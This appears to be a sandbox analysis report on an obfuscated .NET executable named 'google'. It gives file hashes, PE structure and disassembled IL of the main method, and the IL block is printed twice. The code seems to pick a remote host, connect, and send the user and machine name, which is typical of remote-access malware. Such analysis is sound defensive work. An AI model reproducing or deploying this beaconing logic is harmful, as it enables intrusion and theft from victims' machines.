Suspicious
Suspect

7bbe43387cfe0e00dafd61ea63904c6d

PE Executable
MD5: 7bbe43387cfe0e00dafd61ea63904c6d
Size: 395.9 KB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Very high
MD5 7bbe43387cfe0e00dafd61ea63904c6d
Sha1 e3c5dcfd1274175d482718b9dc6e9a0936bacc40
Sha256 bc73e28fca0988fea8ef3460890ee16049842d9829403eedc63661e01bb09447
Sha384 ca111fe076cd900fb19e29f2cead3c9f41f9ee42866b229e993435ccce09f558f124c310074be55dfdc6b6814f3f1809
Sha512 e0edfeae08d799d22c80caf8a4a61cdf0332791a2e22485dfe0b13cda0b06968f77dcd0b89368ce40b281cf7064f0ff901753b7214df293b9f90f82249de9729
SSDeep 6144:Pe9DtAHOBGvEpzVI96iNANhYtpIMZONgTuAdhZAFSub4td1TFyyol67O:GMIenENlQjL7B7O
TLSH A6841A147F988609E5901A7E425E2500C7EE92F265327303370AFF625D899DEDE2D3EB
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
7bbe43387cfe0e00dafd61ea63904c6d
[Authenticode]_51d35a4b.p7b
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
6dunca1xri
STICH beta

No STICH Path has been generated for this analysis yet.

2 structural branches were classified as secondary (decorative or non-determinant content) and did not produce a fingerprint.

bin 2
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
Authenticode present at 0x5EE00 size 7296 bytes
Module Name
google
Full Name
google
EntryPoint 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Scope Name
google
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
google
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
600
Main Method 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BCBBJqcFKCaZM()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YmLdpQzrTrH()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::koWDgsXJyWNbJqGCNuBF()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::RyPXelhNJiJucFniH()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::RdJIIzVtjxYvwXUCCgcrMF()
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.BHthIVivqcNhBpsMVoh::JLOrAVSgrtahwQAYlkVRLgPps()
nop <null>
ldsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9
ldftn System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AFgshJfwhZSNcnBobkN
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::mUWCgSTjUfXzlOB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.zfbwuHtqQwqNvjXBkQlqZ::qezETGEKDPETGlSVSKRaoql()
nop <null>
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
call System.Boolean tsvHsJCCvhuUAIgsC.FUHKtAYPttGMcGYLPjjaMlue::QcmTxSpAuXKiTaclR(System.String)
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::hCCHBYjUzKwdZqCJ()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
leave IL_03BA: ret
call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::VBcgPVBDuetwxOkyjMxMCyFlM()
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
brtrue IL_0116: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qHfBHpwpoEhhkTT()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UEwZRBVIRhwdD
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::JTsSmxbbUaMFRNUCmOq()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XBWzoIsQrrVRgKflpPy()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::reEtqQsjVlXYgnII()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::tddELkcFvZHijNXPUlswdIYQJ()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::GTwktBXowlURgubnvqlBmYAI()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_3
ldsfld System.Random jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::NMxiHrBpLb
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BPLTkFNvQdJIK()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FLvRmvDExVpNhfHIiTo()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::rlLUMfHWQQSfkKfqr()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::NMJwSqeWXinH()
ceq <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qTloTzaEGngogCJdXzRRbFbP()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TVqpHZiIVcLyVMrQCHZcIlnU()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AiWqUkrWtzdkPzOxgLaxeBn()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AZyCmmiiVwGqMRBrU()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mnaEGMtshRweATXeKXWBlx()
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldloc V_6
ldloc V_7
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::DOtkMSyLWzcv(System.String,System.String)
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
stloc V_10
ldloc V_10
brfalse IL_0386: nop
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::bMNgmHKebZMWPzvwpu()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ojHRvOSsYlOKjdBZaMUmq()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XuXHjvoLOAsN()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::IKIVyhHuQbGEfsUuRRTPmtN()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::pIbIbpohxE()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.bIomJHzwGb::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.bIomJHzwGb EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::mKsAZxpLcKgdXXooLnZAa
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
newobj System.Void jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH::.ctor(EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa)
stfld jCMngWQAuKqhWLLQVjelO.xXkJMZyrucuxySJH EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::UvKkYsRdODb
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::dsNZUjVIwwbwIa()
newarr System.Object
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lkdUmDeyJFfvCS()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::lHgFIjSpSrB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FOxtrFTiagGyIiRYmq()
call System.Byte[] jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::OZCBSRqJLdzCSKRQ()
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ieJYaLyuET()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MnTDhKZNoVicszmrFCZ
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::oSpVqNzPiJRBCofEWPshtE()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::kZurxkkmomnFAtiypucvBgH
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::kwwpWhtLPO()
call System.String System.Environment::get_UserName()
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VIhrfLogaFieWvrJZMaZp()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.String System.Environment::get_MachineName()
call System.String System.String::Concat(System.String,System.String,System.String)
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::soJnsDYXIsQcGkuHceMmv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::MyesfNgZDXABgZMMwsP
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::REYtXchpyBmRwrvjXoIWv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::rsOYjpLwzIJuioPoyvlNvVW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TTqFbaRhDcqH()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::QiyRqNLGYsnTkGJqCkavNGS
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::EOygwpSuOppoDLsG()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::enyKkcrOTVPM
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYoJlFDRBHYQyKaoV()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::KXNBHCvVWWHAqtGmxDWqAvD
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::VZHMgcOFdBRYOYafxRTNTJv()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::jeNBpFWYYMkVDt
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::uhudQfOzhTXhQS()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UZnOsyeuldMsCWAYPW
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::LvfbBAcszpSNJVIYMesRzik()
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AKEjiJQebmRqDRRXYwWtpI
stelem.ref <null>
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::ynRrvBtPfZHRnhtNRovnyR()
call System.String jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::LPnHbZfGgtVuy()
stelem.ref <null>
call System.Byte[] EKPhEXClTiCfITTBayDwEHEWg.zNIfENsMdVZxLr::FjUHeTJdpUVw(System.Object[])
callvirt System.Void EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::VcvExRIaSsdEIcnswHCDVU(System.Byte[])
nop <null>
nop <null>
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
nop <null>
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::OjlxyvCijNqlekezKm()
ceq <null>
stloc V_11
ldloc V_11
brtrue IL_00F5: nop
nop <null>
leave IL_03BA: ret
pop <null>
nop <null>
nop <null>
leave IL_03BA: ret
ret <null>
Module Name
google
Full Name
google
EntryPoint 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Scope Name
google
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
google
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
600
Main Method 
System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::ujcLelfkccCJpQFzJWvxdDo(System.String[])
Main IL Instruction Count
266
Main IL 
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BCBBJqcFKCaZM()
stloc V_12
br IL_003F: br IL_000E
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YmLdpQzrTrH()
ceq <null>
brfalse IL_0029: nop
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::koWDgsXJyWNbJqGCNuBF()
stloc V_12
nop <null>
ldloc V_12
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::RyPXelhNJiJucFniH()
ceq <null>
brfalse IL_003F: br IL_000E
br IL_0044: nop
br IL_000E: nop
nop <null>
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::RdJIIzVtjxYvwXUCCgcrMF()
nop <null>
call System.Void EKPhEXClTiCfITTBayDwEHEWg.BHthIVivqcNhBpsMVoh::JLOrAVSgrtahwQAYlkVRLgPps()
nop <null>
ldsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
dup <null>
brtrue IL_0074: ldnull
pop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9
ldftn System.Void EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<Main>b__2_0(System.Object)
newobj System.Void System.Threading.TimerCallback::.ctor(System.Object,System.IntPtr)
dup <null>
stsfld System.Threading.TimerCallback EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV/lAkZPLUQcmC::<>9__2_0
ldnull <null>
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
ldc.r8 10
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
newobj System.Void System.Threading.Timer::.ctor(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan)
pop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::AFgshJfwhZSNcnBobkN
call System.String EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::mUWCgSTjUfXzlOB()
call System.String tsvHsJCCvhuUAIgsC.EqPKBFGWhrsnxDRJz::acxeMkjyraqLNeU(System.String)
call System.Boolean System.String::op_Equality(System.String,System.String)
stloc V_0
ldloc V_0
brfalse IL_00C0: ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.zfbwuHtqQwqNvjXBkQlqZ::qezETGEKDPETGlSVSKRaoql()
nop <null>
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::NBFkXWQOiMY
call System.Boolean tsvHsJCCvhuUAIgsC.FUHKtAYPttGMcGYLPjjaMlue::QcmTxSpAuXKiTaclR(System.String)
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::hCCHBYjUzKwdZqCJ()
ceq <null>
stloc V_1
ldloc V_1
brfalse IL_00E4: call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
leave IL_03BA: ret
call System.Void tsvHsJCCvhuUAIgsC.ILCMZLGQNSM::dIwSWnjdGITMrgnKjhrUUv()
nop <null>
call System.Void jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::VBcgPVBDuetwxOkyjMxMCyFlM()
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
nop <null>
ldsfld EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::jsqUVszARNsY
ldfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.cLqWGGqOXXxbVa::BGSCFfinFsulwAhcQGg
brtrue IL_0116: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qHfBHpwpoEhhkTT()
ceq <null>
br IL_011B: stloc V_2
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::YTDVKxqnKmXQ()
stloc V_2
ldloc V_2
brfalse IL_0387: call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::eYvLDXAsdKr()
nop <null>
ldsfld System.String EKPhEXClTiCfITTBayDwEHEWg.XUZhAHcAFBsWssuwVCoGYv::UEwZRBVIRhwdD
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::JTsSmxbbUaMFRNUCmOq()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::XBWzoIsQrrVRgKflpPy()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::reEtqQsjVlXYgnII()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_3
ldloc V_3
ldlen <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::tddELkcFvZHijNXPUlswdIYQJ()
ceq <null>
stloc V_8
ldloc V_8
brfalse IL_0177: ldloc V_3
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::GTwktBXowlURgubnvqlBmYAI()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_3
ldsfld System.Random jCMngWQAuKqhWLLQVjelO.FjXTBjEhyaGJzhSalBVIFQF::NMxiHrBpLb
ldloc V_3
ldlen <null>
conv.i4 <null>
callvirt System.Int32 System.Random::Next(System.Int32)
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_4
ldloc V_4
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::BPLTkFNvQdJIK()
newarr System.Char
dup <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::FLvRmvDExVpNhfHIiTo()
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::rlLUMfHWQQSfkKfqr()
stelem.i2 <null>
callvirt System.String[] System.String::Split(System.Char[])
stloc V_5
ldloc V_5
ldlen <null>
conv.i4 <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::NMJwSqeWXinH()
ceq <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::qTloTzaEGngogCJdXzRRbFbP()
ceq <null>
stloc V_9
ldloc V_9
brfalse IL_01EA: ldloc V_5
nop <null>
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::TVqpHZiIVcLyVMrQCHZcIlnU()
call System.Void System.Threading.Thread::Sleep(System.Int32)
nop <null>
br IL_0393: ldsfld System.Boolean EKPhEXClTiCfITTBayDwEHEWg.UKhilLMKzHhrRRV::cNclKmlFUaE
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AiWqUkrWtzdkPzOxgLaxeBn()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_6
ldloc V_5
call System.Int32 EKPhEXClTiCfITTBayDwEHEWg.gTKGtrGFFvIBJozqHX::AZyCmmiiVwGqMRBrU()
ldelem.ref <null>
callvirt System.String System.String::Trim()
stloc V_7
